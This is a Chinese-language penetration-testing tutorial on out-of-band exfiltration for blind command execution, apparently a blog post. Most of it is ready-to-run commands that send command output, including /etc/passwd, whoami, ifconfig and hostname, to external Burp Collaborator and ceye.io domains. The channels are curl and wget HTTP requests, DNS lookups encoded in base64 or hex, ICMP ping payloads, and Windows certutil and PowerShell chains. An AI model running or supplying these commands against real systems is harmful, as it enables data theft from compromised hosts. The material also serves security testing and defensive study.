[TOC]

基本概念

对内攻击

在一次攻击当中,只有一条通道,属于in-band(带内)攻击,我们常见的攻击类型就是这种类型,大多数的攻击都属于带内攻击,在一条通信通道内进行的攻击。
image.png

对外攻击

但是有的时候我们的攻击也可能不在一条通道上,同一次攻击下,不止一条信道,则属于out-band(带外)攻击,由我们的一端向服务器发送请求,让服务器执行我们请求中的向另外一个公网的请求
image.png

程序不进行详细的回显信息,而只是返回对或者错时,我们都可以叫它盲。我们在做渗透测试的时候,经常会遇到这种情况,测试跨站可能有些功能插入恶意脚本后无法立即触发,例如提交反馈表单,需要等管理员打开查看提交信息时才会触发,或者是盲注跨站,盲打 XSS 这种。再例如 SSRF,如果程序不进行回显任何信息,而只提示你输入的是否合法,那么也无法直接判断程序存在 SSRF 漏洞,我们可以叫盲 SSRF。再例如 XXE,引入外部文件时,如果程序也不返回任何信息和引用文件的内容,而只提示输入的是否有误,那么也无法直接判断程序是否存在 XXE 漏洞,我们也可以叫盲 XXE。
image.png

基本回显思路

对于出网机器

使用http传输,如wget,curl,certutil将回显信息爬出
** 优点:**方便,回显全。

** 缺点:**1.对于不出网服务器没有办法传输,同时需要了解其返回包字段信息,需要使用返回包字段将回显信息带出

对于不出网机器

使用DNS传输,ICMP传输,powershell中的wget,curl等传输
** 优点:**不出网机器可以传输

** 缺点:**1.回显是一条条执行,需要将回显结果拼接解码,回显信息比较麻烦
2.短回显可以使用DNS传输,长回显大部分带出需要powershell搭配,但杀毒软件往往禁用powershell,因此利用条件较苛刻

burpsuit Collaborator Client模块回显

image.png
点击复制一下由burp生成的二级域名地址
image.png
和在线网站的用法其实都差不多,这里就不过多赘述

//http
curl `whoami`.u725dozxmas6ru7honh9r8flmcs3gs.burpcollaborator.net
curl u725dozxmas6ru7honh9r8flmcs3gs.burpcollaborator.net/`whoami`
//dns
ping `whoami`.u725dozxmas6ru7honh9r8flmcs3gs.burpcollaborator.net

image.png

(Linux)在线网站DNS/HTTP管道解析

经常在拿下shell的时候碰到命令执行无回显的情况,因此为了解决命令执行无回显时,可以借助DNS管道解析来让命令回显
在线网站有dnslogceye

HTTP带外攻击

linux可以使用以下方法:

通过curl远程命令执行RCE

简单测试
通过http记录查看是否执行(最好执行两次),curl走http协议
curl XXX.ceye.io/`whoami`
curl `whoami`.XXX.ceye.io

image.png
我分别执行了whoami和cat /etc/passwd命令
效果也能明显,但是当数据较多时,只回显了第一条数据
image.png

如果回显信息不全,可以使用如下结合sed命令令回显完整,但其实也不是全的
curl XXX.ceye.io/`ls -al|sed -n '2p'` //这里回显的就是第二行数据了

image.png

使用base64传输
curl XXX.ceye.io/`ls -al|sed -n '2p'|base64`   

image.png

有的时候长度太大,cut来分割字符(第一个字符下标为1)
curl XXX.ceye.io/`ls -al |cut -c 3-10`

wget传输

使用wget将命令回显信息通过包头数据字符串User-Agent传输至攻击服务器上,xargs echo–n代表去掉各个分隔符,换行符等符号输出

wget --header="HY:`cat /etc/passwd | xargs echo –n`" zqtpylwvynwgaxifh1kfjquhn8t5hu.burpcollaborator.net

image.png
查看访问记录
image.png

dns带外攻击

单条信息

通过DNS记录查看是否执行(最好执行两次),ping走的是DNS协议

ping `whoami`.XXXX.ceye.io

这里也可以用网站dnslog
image.png
但是也只有第一条数据,只适合单条的短信息回显

base64进行多条信息

var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.402c35vpn9hpplp9ilj09pxx9ofe33.burpcollaborator.net; done

如果找不到nslookup命令
使用命令安装

yum -y install bind-utils

image.png
将base64一条条解码即可
image.png

16进制传输

var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig $var.$b.var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig $var.$b.ezh4705a725vjcruqgtus53wwn2hq6.burpcollaborator.net; done; done

如果找不到xxd命令
使用:

yum install vim-common

来安装
image.png
在burp中可以看到
image.png
一行行复制查看即可,结果还算准确
image.png

ICMP传输

linux
靶机
cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 easn1l1elxy8t7azlztz02gkbbh65v.burpcollaborator.net;done
攻击者
sudo tcpdump 'icmp and src host 202.14.120.xx' -w icmp_file.pcap#To capture
攻击者提取数据
echo "0x$(tshark -n -q -r icmp_file.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p   #Or Use Wireshark gui

windows系统外带

http传输

curl传输

windows中 %xxx% 的xxx代表系统变量,常用系统变量命令
              %SystemDrive%                                     系统安装的磁盘分区
              %SystemRoot% = %Windir% WINDODWS                  系统目录
              %ProgramFiles%                                   应用程序默认安装目录
              %AppData%                                         应用程序数据目录
              %CommonProgramFiles%                              公用文件目录
              %HomePath%                                        当前活动用户目录
              %Temp% =%Tmp%                                     当前活动用户临时目录
              %DriveLetter%                                     逻辑驱动器分区
              %HomeDrive%                                       当前用户系统所在分区

curl抓取用户名://%USERNAME%,列出所有用户名

curl http://x75kydmzeqh0o6g5srhxz2joofu8ix.burpcollaborator.net/%USERNAME%

image.png
curl获取windows安装目录://%WinDir%,列出windows的安装目录

curl http://x75kydmzeqh0o6g5srhxz2joofu8ix.burpcollaborator.net/%WinDir%

image.png

certutil利用

将ipconfig的结果记录在新建temp文件中,再对temp文件进行base64加密变成temp2文件,再对temp2文件中的多余字符”CERTIFICATE”删掉变成temp3,再对temp3的内容删除换行符生成所有数据只在一行的temp4(因为http响应包想要信息全部输出必须使信息全在一行),并把temp4的内容赋予变量为p1,最后使用curl爬取p1的值赋予http响应包的User-Agent字段输出于http:// qysvrrmxvestl2c93ydg0u5p1g76vv.burpcollaborator.net中,最后删除本地文件夹中所有生成的带有temp字段的文件(也就是之前生成的temp~temp4四个文件)

ipconfig > temp && certutil -f -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && (for /f %i in (./temp3) do set /p=%i<nul >>temp4) || set /p pl=<temp4 && curl -H "User-Agent:%pl%" x75kydmzeqh0o6g5srhxz2joofu8ix.burpcollaborator.net && del temp*

数据在useragent里
image.png
解码即可
image.png

DNS传输

dns传输(单条传输,很鸡肋不推荐,只能执行hostname命令)

for /L %i in (1,1,10) do nslookup    //执行10次nslookup命令
cmd /v /c "hostname > temp && certutil -f -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.fq94atmnmopixkbqusvwe2s23t9jx8.burpcollaborator.net && nslookup !FINAL!"

十六进制传输:(hex)–缺点:必须调用powershell

whoami > test && certutil -encodehex -f test test.hex 4 && powershell $text=Get-Content test.hex;$sub=$text -replace(' ','');$j=11111;foreach($i in $sub){ $fin=$j.tostring()+'.'+$i+'.xfgmzbb5b6e0m208jake3khksby2mr.burpcollaborator.net';$j += 1; nslookup $fin }

image.png
image.png
直接16进制转字符串即可
image.png

通过win+r,直接输入%USERNAME%调用Burp地址来调用DNS解析记录

使用windows的win+r调出运行,再执行第二行代码,会调用DNS解析

win+r
\\%USERNAME%.0ijp2ee8e9h3p53bmdnh6nknve16pv.burpcollaborator.net

image.png

ICMP传输(不能传太大的包,回显信息太长会失败,但依旧隐蔽)

whoami > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send('rpkg95lzl0ouwwa2t4u8dere258ywn.burpcollaborator.net',60 * 1000, $sendbytes, $PingOptions);

image.png
回显信息失败,但是有dns解析记录
image.png